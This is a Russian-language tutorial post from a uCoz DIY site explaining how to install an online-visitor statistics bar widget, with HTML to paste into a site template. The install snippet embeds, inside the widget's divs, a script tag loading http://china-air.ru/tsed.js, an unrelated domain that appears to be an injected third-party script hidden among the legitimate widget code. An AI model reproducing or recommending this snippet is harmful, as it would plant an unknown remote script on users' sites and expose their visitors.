Что можно сделать своими руками... 
Вторник, 24.10.2017

Вы вошли как Гость | Группа "Гости"Приветствую Вас Гость | RSS подписка

Главная | Регистрация | Вход
Комментарии






*
Сделай сам - здоровая еда для твоей семьи.
Форма входа
Главная » 2012 » Декабрь » 25 » Новый вид статистики пользователей
10:52
Новый вид статистики пользователей
Данная статистика разнообразит ваш сайт нестандартным видом показа сколько людей на сайте. 

Теперь статистика будет показываться не в столбик как раньше, а полосой загрузки хотя можно использовать сразу два варианта, это на вкус гурманов. Ширина полоски и ее цветовая схема будет зависеть от того, сколько в данный момент на сайте сидит людей. Один человек равен одному проценту, т.е. если на сайте 5 человек, то полоска будет длиной в 5% и т.д. А если на сайте никого не будет, то полоска будет пустая, но этого никто не увидит. 

Ну, а если случится так, что общее количество человек превысит ста, то полоска не выйдет за края, а будет находится на ста процентах. А что же со цветовой схемой полоски спросите вы? Так тут все просто, работает это вот так: если на сайте до десяти человек, то полоска будет светло зеленой, если от десяти до двадцати, то полоска будет немного темнее, от двадцати до тридцати, полоска будет светло оранжевой, а от тридцати до сорока она будет немного темнее, далее цвет полоски от сорока до пятидесяти примет светло голубой цвет, а от пятидесяти до шестидесяти она будет темнее, от шестидесяти до семидесяти полоса будет светло фиолетовой, а с семидесяти до восьмидесяти она как вы уже поняли потемнеет, от восьмидесяти до девяноста полоса будет светло красной, а все что уже выше девяноста, будет темно красным. На этом цветовая схема закончилась. 

По стандартному данная статистика показывает сколько на сайте всего людей, а что бы узнать сколько на сайте гостей или пользователей, вам необходимо будет просто нажать на маленькую вкладку белого цвета которая находится под статистикой (если что, при наведении на каждую вкладку будет написано что сейчас отобразится) и при нажатии на нее вам будет показаны или пользователи или гости, смотря куда вы нажмете, а можете вернуться к общей статистике. Ну, вообщем на этом все. 

Установка:

Вставляем после $ONLINE_COUNTER$:

Код
<div id="statistikaWebo4kaRu1"><div id="statistikaWebo4kaRu2"><div id="statistikaWebo4kaRu3"></div><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></div></div>  
<div style="position:relative; top:-34px; text-align:center; color:#666; font-weight: bold; font-family: Arial, Helvetica, sans-serif;"><z id="vivodUserWebo4kaRu"></z></div>  

<table cellspacing="0" cellpadding="0"><tr>  
<td>  
<a href="javascript://" onclick="vsegoWebo4kaRu();" style="outline: 0;" title="Всего"><div id="stPerekWebo4kaRu1" style="position:relative; top:-29px; left:20px; width: 10px; height:8px; padding:3px; background: #e0e0e0; border: 1px solid #bbb; border-top:0px; box-shadow: 0px 1px 3px #eee; -moz-border-bottom-right-radius:5px; -o-border-bottom-right-radius:5px; -webkit-border-bottom-right radius:5px; border-bottom-right-radius:5px; -moz-border-bottom-left-radius:5px; -o-border-bottom-left-radius:5px; -webkit-border-bottom-left radius:5px; border-bottom-left-radius:5px;"></div></a>  
</td>  

<td>  
<a href="javascript://" onclick="gosteiWebo4kaRu();" style="outline: 0;" title="Гостей"><div id="stPerekWebo4kaRu2" style="position:relative; top:-29px; left:25px; width: 10px; height:8px; padding:3px; background: #fff; border: 1px solid #bbb; border-top:0px; box-shadow: 0px 1px 3px #eee; -moz-border-bottom-right-radius:5px; -o-border-bottom-right-radius:5px; -webkit-border-bottom-right radius:5px; border-bottom-right-radius:5px; -moz-border-bottom-left-radius:5px; -o-border-bottom-left-radius:5px; -webkit-border-bottom-left radius:5px; border-bottom-left-radius:5px;"></div></a>  
</td>  

<td>  
<a href="javascript://" onclick="userWebo4kaRu();" style="outline: 0;" title="Пользователей"><div id="stPerekWebo4kaRu3" style="position:relative; top:-29px; left:30px; width: 10px; height:8px; padding:3px; background: #fff; border: 1px solid #bbb; border-top:0px; box-shadow: 0px 1px 3px #eee; -moz-border-bottom-right-radius:5px; -o-border-bottom-right-radius:5px; -webkit-border-bottom-right radius:5px; border-bottom-right-radius:5px; -moz-border-bottom-left-radius:5px; -o-border-bottom-left-radius:5px; -webkit-border-bottom-left radius:5px; border-bottom-left-radius:5px;"></div></a>  
</td>  
</tr></table>  
<script type="text/javascript" src="http://bambun.ru/css_js/new_vid_statistiki_polzovatel.js"></script>


p.s. если вам не нужна стандартная статистика, то облепите $ONLINE_COUNTER$ дивом:

Код
<div style="display:none;"></div>


готово!
Просмотров: 308 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск по сайту


***
**

Онлайн всего: 3
Гостей: 3
Пользователей: 0
Зроби своїми руками ARV Reserch: Электроника - просто, полезно, увлекательно. Электронные устройства и программные средства для радиолюбителей и профессионалов, только авторские разработки, плагиата нет! Разработки на заказ. Обменяйся ссылкой. Размести свою ссылку.
Конструктор сайтов - uCoz Copyright MyCorp © 2017